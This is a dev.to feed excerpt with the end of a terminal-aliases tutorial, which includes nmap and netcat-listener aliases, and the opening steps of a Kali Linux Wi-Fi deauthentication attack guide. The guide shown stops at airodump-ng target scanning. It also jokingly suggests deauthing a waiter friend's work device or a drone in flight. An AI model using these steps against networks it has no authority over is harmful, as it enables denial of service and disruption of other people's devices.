&lt;p&gt;The command is: &lt;code&gt;nano ~/.zshrc&lt;/code&gt;. Ok not that bad, but who really wants to remember the name of the file? it would be nice if we could just type something like: &lt;code&gt;edit-zsh&lt;/code&gt; and have it pop up.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#Command No1&lt;/span&gt;
&lt;span class="nb"&gt;echo alias &lt;/span&gt;edit-zsh&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"'nano ~/.zshrc'"&lt;/span&gt;  &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.zshrc

&lt;span class="c"&gt;#Command No2&lt;/span&gt;
&lt;span class="nb"&gt;echo alias &lt;/span&gt;&lt;span class="nv"&gt;sauce&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"'source ~/.zshrc'"&lt;/span&gt;  &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.zshrc

&lt;span class="c"&gt;#For the last time run to be able to run the aliases on the same terminal&lt;/span&gt;
&lt;span class="nb"&gt;source&lt;/span&gt; ~/.zshrc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Break down of the command&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;echo&lt;/strong&gt;: This command is used to output the text that follows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;alias edit-zsh="'nano ~/.zshrc'"&lt;/strong&gt;: This is the text that will be added to your .zshrc file. It's the definition of your new alias.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&amp;gt;&amp;gt; ~/.zshrc&lt;/strong&gt;: This part appends the output of the echo command to the end of your .zshrc file.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After running this command, you'll need to either restart your Terminal or source your .zshrc file with &lt;code&gt;source ~/.zshrc&lt;/code&gt; for the changes to take effect. Once you do that, typing edit-zsh in your Terminal will execute &lt;code&gt;nano ~/.zshrc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;At the end of the config file that has been opened with nano the following lines.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;alias &lt;/span&gt;edit-zsh&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'nano ~/.zshrc'&lt;/span&gt;
&lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;sauce&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'source ~/.zshrc'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So from now on, you can just restart your terminal by typing sauce 🥫. &lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Aliases you may like&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Since you now have been taught how aliases work you are ready to play around and experiment on your own. Since every crazy experience needs a spark, here is a list of useful aliases to get you started!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Navigation Shortcuts&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;back&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cd .."&lt;/span&gt;: Move up one directory level.
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;back2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cd ../../"&lt;/span&gt;: Move up two directory levels.
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;home&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cd ~"&lt;/span&gt;: Go to your home directory.
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;root&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cd /"&lt;/span&gt;: Go to the root directory.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Listing&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;ll&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ls -lah"&lt;/span&gt;: Show an extended list of files, including hidden ones.
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;la&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ls -A"&lt;/span&gt;: List all files, excluding &lt;span class="nb"&gt;.&lt;/span&gt; and ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;File Management&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;cpi&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cp -iv"&lt;/span&gt;: Copy files with interactive mode and verbose output.
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;mvi&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"mv -iv"&lt;/span&gt;: Move files interactively with verbose output.
- &lt;span class="nb"&gt;alias rm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"rm -i"&lt;/span&gt;: Remove files with confirmation prompt.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Quick Access&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cd ~/Documents"&lt;/span&gt;: Navigate to the Documents folder.
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;downloads&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cd ~/Downloads"&lt;/span&gt;: Go straight to Downloads.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Git Shortcuts&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;gs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"git status"&lt;/span&gt;: Check the status of your Git repository.
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;ga&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"git add"&lt;/span&gt;: Add files to your Git repository.
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;gc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"git commit"&lt;/span&gt;: Commit changes &lt;span class="k"&gt;in &lt;/span&gt;Git.
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;gp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"git push"&lt;/span&gt;: Push changes to a remote Git repository.
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;gi&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"git init"&lt;/span&gt;: Initialize folder as a new repo
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;gci&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ga . &amp;amp;&amp;amp; gc -m 'Initial Commit' &amp;amp;&amp;amp; gs"&lt;/span&gt;: First Initial Commit of project. 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here you see for the first time a real glimpse of the power of aliases by chaining aliases to perform a task otherwise quite large. &lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Aliases for hackers&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Nmap Scans&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;nmapf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'nmap -T4 -F'&lt;/span&gt;: Fast Scan
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;nmapa&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'nmap -T4 -A -v'&lt;/span&gt;: Full Scan 
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;nmapp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'nmap -p'&lt;/span&gt;: Port Scan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Network Requests&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;curlv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'curl -v'&lt;/span&gt;: Curl with verbose output
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;get&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'curl -X GET'&lt;/span&gt;: HTTP GET
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;post&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'curl -X POST'&lt;/span&gt;: HTTP POST
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Searching&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;ffind&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'find . -type f -name'&lt;/span&gt;: Find files
- &lt;span class="nb"&gt;alias grep&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'grep --color=auto'&lt;/span&gt;: Grep with color
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SSH and Networking&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;sshv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'ssh -v'&lt;/span&gt;: SSH with verbose logging
- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;ncl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'nc -lvnp'&lt;/span&gt;: Netcat listener
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;🐍 Python Server&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Love that one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;- &lt;span class="nb"&gt;alias &lt;/span&gt;&lt;span class="nv"&gt;pyserv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'python -m SimpleHTTPServer'&lt;/span&gt;: Start a simple HTTP server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Always keep in mind that aliases are a personal choice and should fit your workflow. You can customize these aliases to suit your preferences and the specific tasks you perform regularly in penetration testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Finishing Up: Your Command-Line, Your Rules&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;And there you have it, Realmers – a whirlwind tour through the enchanting world of aliases in the Mac Terminal. From the basics to some nifty hacker-style shortcuts, we've covered a lot of ground. Aliases are more than just shortcuts; they're a reflection of your unique style and approach to navigating the digital realm. They're about making your command-line experience not just faster, but also a lot more fun.&lt;/p&gt;

&lt;p&gt;Remember, the list of aliases we explored is just the beginning. The real magic happens when you start creating aliases that fit your specific needs. Your Terminal is your playground, and with aliases, you're the one setting the rules. So go ahead, experiment, mix and match, and maybe even come up with something completely out of the box.&lt;/p&gt;

&lt;p&gt;In the end, whether you're a coding newbie, a seasoned developer, or a stealthy hacker, aliases can make your life in the Terminal smoother, more efficient, and let's be honest – a whole lot cooler. So, keep exploring, keep tweaking, and most importantly, keep having fun with it. Until next time, this is d3adr1nger signing off. Happy aliasing, and stay curious!&lt;/p&gt;

&lt;p&gt;If you liked the post you may also like these ones: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sudorealm.com/blog/iterm2-your-mac-s-terminal-upgraded" rel="noopener noreferrer"&gt;iTerm2: Your Mac's Terminal, Upgraded!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sudorealm.com/blog/setting-up-custom-local-development-domains-with-apache-on-debian-based-systems-a-comprehensive-guide" rel="noopener noreferrer"&gt;Setting up custom local development domains with Apache on Debian-based systems&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Or you may like the entire website 🤪 who knows? &lt;/p&gt;

&lt;p&gt;Make sure to pay a visit it will cost you a click: 🔗 &lt;a href="https://sudorealm.com" rel="noopener noreferrer"&gt;Sudorealm&lt;/a&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>terminal</category>
      <category>hacking</category>
      <category>aliases</category>
    </item>
    <item>
      <title>Deauthentication Attack using Kali Linux</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Mon, 20 Nov 2023 19:34:39 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/deauthentication-attack-using-kali-linux-39hf</link>
      <guid>https://dev.to/d3adr1nger/deauthentication-attack-using-kali-linux-39hf</guid>
      <description>&lt;p&gt;Hello, hacker-curious soon-to-be 1337 hacker legends, and welcome to my first serious article/tutorial on the realm! My name is d3ad R1nger and today you will learn the theory and also a practical example of a &lt;strong&gt;*wireless network attack **called deauthentication&lt;/strong&gt;*&lt;em&gt;.&lt;/em&gt;&lt;br&gt;&lt;br&gt;
In my humble opinion, when a hacker learns about a new attack, he or she must also learn how to prevent it. So, this is not going to be a simple how-to, this article will be divided into 4 parts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;| What is a Deauth Attack&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;| Why would you want to attack in that way&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;| How to do it&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;| How to prevent the attack and take the necessary precautions&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Feel free to skip steps of course.&lt;/p&gt;

&lt;p&gt;🤓 If you know what you are doing and only looking for a simple command list, I got you fam 💜&lt;br&gt;&lt;br&gt;
TL;DR &lt;a href="https://www.buymeacoffee.com/ZixcW8N/deauthentication-attack-gist" rel="noopener noreferrer"&gt;Deauthentication Attack Gist for the Knowledgable&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;What is a Deauth Attack?&lt;/strong&gt; 
&lt;/h2&gt;

&lt;p&gt;Deauthentication attack is a type of &lt;strong&gt;denial of service&lt;/strong&gt; attack that targets communication between a user ( or all users ) and a Wi-Fi access point.&lt;br&gt;&lt;br&gt;
This attack sends disassociate packets to one or more clients which are currently associated with a particular access point. Of course, this attack is useless if there are no associated wireless clients or no fake authentications.&lt;br&gt;&lt;br&gt;
The cool thing about this attack is that even today where all networks are using WPA2 encryption you can still &lt;strong&gt;easily&lt;/strong&gt; deauth almost anything or anyone without even being inside the network!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why does a deauth attack work on WPA2 despite encryption?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The use of encryption in 802.11 is limited to data payloads only. Encryption does not apply to the 802.11 frame headers, and cannot do so as key elements of 802.11 headers are necessary for normal operations of 802.11 traffic.
 Since 802.11 management frames largely work by setting information in the headers, management frames are not encrypted and as such are easily spoofed.
 To prevent deauthentication/disassociation attacks, the IEEE implemented the 802.11w amendment to 802.11. This provides a mechanism to help prevent the spoofing of management frames, but both client and infrastructure need to support it (and have it enabled) for it to function. &lt;strong&gt;&lt;a href="https://security.stackexchange.com/questions/190133/why-does-a-deauth-attack-work-on-wpa2-despite-encryption" rel="noopener noreferrer"&gt;(source)&lt;/a&gt;&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
   &lt;strong&gt;Why would one attack a network like that?&lt;/strong&gt; 
&lt;/h2&gt;

&lt;p&gt;A deauth attack is, most of the time, the first step for a greater attack, a gateway hack 😂 ! Hackers usually need to deauth a user off of a network so they can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Capture WPA/WPA2 4-Way Handshakes by forcing a user to reconnect to the network&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Force users to connect to their Rogue access point (search: Evil Twin Attack)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Force users to connect to a Captive Portal for whatever reason&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I will be writing articles and tutorials demonstrating every single one of the aforementioned attacks so stay tuned.&lt;/p&gt;

&lt;p&gt;You can also deauth users in your network for way simpler reasons, like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kick a sibling or a friend off the network just because they are slowing your connection down&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Frustrate people and laugh&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;example,&lt;/strong&gt; let's say your best friend is a waiter, and he takes his orders from customers with a PDA connected to the Cafe's Wi-Fi connection, deauth his PDA, and drive him mad. (You didn't read that from me).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;&lt;strong&gt;Deauth a drone from its access point mid-air and see what happens. (I haven't done that yet. but I will asap)&lt;/strong&gt;&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Ok, enough with the Theory! Practice!&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;The art of Deauthing&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;For this attack we need a tool called &lt;strong&gt;aircrack-ng&lt;/strong&gt;, aircrack-ng is more of a suite actually, containing many tools to assess Wi-Fi network security.&lt;br&gt;&lt;br&gt;
Aircrack-ng suite comes pre-installed inside the Kali Linux Distribution which I'll be using for all my hacking tutorials and real-life attack posts.&lt;/p&gt;

&lt;p&gt;Ok! one last thing, since we are talking about sending packets we will need a wireless adapter both able to work in monitor mode and be a packet injector!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What is Monitor Mode? | For listening and Capturing&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Monitor mode allows you to capture data sent and received by wireless devices and networks nearby. Without it, you can not see which devices are active and what is happening inside the network.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;What is Packet Injection? | For transmitting and Attacking&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Packet injection allows you to craft and inject or send data to wireless devices and networks nearby. Without it, you can not intercept or manipulate any activity from within the network.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;My favorite wireless adapter, and the one I'll be using for this tutorial, is &lt;strong&gt;&lt;a href="https://geni.us/eHIjaOy" rel="noopener noreferrer"&gt;Alfa AWUSO36NH High Gain USB Wireless G / N Long-Rang WiFi Network Adapter&lt;/a&gt;&lt;/strong&gt;, it has never failed me thus far and the thing I love the most about it is that it works perfectly with a &lt;strong&gt;&lt;a href="https://geni.us/rAg5" rel="noopener noreferrer"&gt;Raspberry Pi 4&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 1 - Fire up Kali Linux and open a Terminal&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;In Kali, almost all the action happens inside the terminal so you should really get the hang of it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://i.giphy.com/media/G6sJqVpD1U4jC/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/G6sJqVpD1U4jC/giphy.gif" alt="matrix terminal gih with a twist of blink 182"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that's a trippy gif.&lt;/p&gt;

&lt;p&gt;By typing &lt;strong&gt;ifconfig&lt;/strong&gt; and the enter key on your terminal you get the following output :&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

eth0: &lt;span class="nv"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500
inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe59:1b51  prefixlen 64  scopeid 0x20&amp;lt;&lt;span class="nb"&gt;link&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
ether 08:00:27:59:1b:51  txqueuelen 1000  &lt;span class="o"&gt;(&lt;/span&gt;Ethernet&lt;span class="o"&gt;)&lt;/span&gt;
RX packets 5  bytes 1360 &lt;span class="o"&gt;(&lt;/span&gt;1.3 KiB&lt;span class="o"&gt;)&lt;/span&gt;
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 69  bytes 5690 &lt;span class="o"&gt;(&lt;/span&gt;5.5 KiB&lt;span class="o"&gt;)&lt;/span&gt;
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: &lt;span class="nv"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;73&amp;lt;UP,LOOPBACK,RUNNING&amp;gt;  mtu 65536
inet 127.0.0.1  netmask 255.0.0.0
inet6 ::1  prefixlen 128  scopeid 0x10&amp;lt;host&amp;gt;
loop  txqueuelen 1000  &lt;span class="o"&gt;(&lt;/span&gt;Local Loopback&lt;span class="o"&gt;)&lt;/span&gt;
RX packets 20  bytes 1116 &lt;span class="o"&gt;(&lt;/span&gt;1.0 KiB&lt;span class="o"&gt;)&lt;/span&gt;
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 20  bytes 1116 &lt;span class="o"&gt;(&lt;/span&gt;1.0 KiB&lt;span class="o"&gt;)&lt;/span&gt;
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: &lt;span class="nv"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4099&amp;lt;UP,BROADCAST,MULTICAST&amp;gt;  mtu 1500
ether fa:30:3e:ca:dd:85  txqueuelen 1000  &lt;span class="o"&gt;(&lt;/span&gt;Ethernet&lt;span class="o"&gt;)&lt;/span&gt;
RX packets 0  bytes 0 &lt;span class="o"&gt;(&lt;/span&gt;0.0 B&lt;span class="o"&gt;)&lt;/span&gt;
RX errors 0  dropped 0  overruns 0  frame 0
TX packets 0  bytes 0 &lt;span class="o"&gt;(&lt;/span&gt;0.0 B&lt;span class="o"&gt;)&lt;/span&gt;
TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;At the eth0 section in my ifconfig output, you see that I have inet 10.0.2.15, this is because I am running Kali Linux on a Virtual Machine and it is connected on a nat network. Don't worry about it, you do not even have to care at the moment.&lt;/p&gt;

&lt;p&gt;All &lt;strong&gt;you&lt;/strong&gt; have to care about is the wlan0 section that is your wireless adapter and as you can see mine is not even connected to a network. If it was it would be displaying an IP in the range of 192.168.x.x (Just for answering future questions).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The next command&lt;/strong&gt; is &lt;strong&gt;iwconfig.&lt;/strong&gt; Type it and execute it on your terminal and boom:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any  
Mode:Managed  Access Point: Not-Associated   Tx-Power&lt;span class="o"&gt;=&lt;/span&gt;20 dBm   
Retry short limit:7   RTS thr:off   Fragment thr:off
Encryption key:off
Power Management:off


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;From this output, we understand that our wireless card is in &lt;strong&gt;Managed Mode&lt;/strong&gt; and we want it to be in &lt;strong&gt;Monitor Mode&lt;/strong&gt;. So let's do that.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 2 - Setting wireless adapter on Monitor mode with airmon-ng&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;By running the &lt;strong&gt;airmon-ng start wlan0&lt;/strong&gt; (or whatever your adapter is called, it could be wlan1 or wlan2) you are setting your adapter to monitor mode! Check out the output :&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of &lt;span class="nb"&gt;time&lt;/span&gt;, you may want to run &lt;span class="s1"&gt;'airmon-ng check kill'&lt;/span&gt;

PID Name
448 NetworkManager
525 dhclient
654 wpa_supplicant

PHY Interface   Driver      Chipset

phy0    wlan0       ath9k_htc   Atheros Communications, Inc. TP-Link TL-WN322G v3 / TL-WN422G v2 802.11g &lt;span class="o"&gt;[&lt;/span&gt;Atheros AR9271]

&lt;span class="o"&gt;(&lt;/span&gt;mac80211 monitor mode vif enabled &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;phy0]wlan0 on &lt;span class="o"&gt;[&lt;/span&gt;phy0]wlan0mon&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;mac80211 station mode vif disabled &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;phy0]wlan0&lt;span class="o"&gt;)&lt;/span&gt;

root@kali:~# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power&lt;span class="o"&gt;=&lt;/span&gt;20 dBm   
Retry short limit:7   RTS thr:off   Fragment thr:off
Power Management:off


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;See the above &lt;strong&gt;iwconfig&lt;/strong&gt; result. &lt;strong&gt;Mode:Monitor and the name is wlan0mon!&lt;/strong&gt; You are ready to go.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 3 - Searching for victims with airodump-ng&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Execute the command &lt;strong&gt;airodump-ng&lt;/strong&gt;  &lt;strong&gt;wlan0mon&lt;/strong&gt; on your terminal and start choosing targets.&lt;/p&gt;

&lt;p&gt;Command output:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

CH 12 ][ Elapsed: 6 s ][ 2020-09-02 15:41                                         

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

**:**:**:**:**:**  -85        2        1    0   6  130  WPA2 CCMP   PSK  ******911                 
**:**:**:**:**:**  -79        4        0    0  11   65  WPA2 CCMP   PSK  ******etwork                
50:C7:BF:DC:4C:E8  -45       18        0    0  11  270  WPA2 CCMP   PSK  TP-LINK_AP_4CE8                
**:**:**:**:**:**  -74        5        0    0   1  270  WPA2 CCMP   PSK  ******D                 
**:**:**:**:**:**  -75        5        0    0   1  270  OPN              ******Fon                   
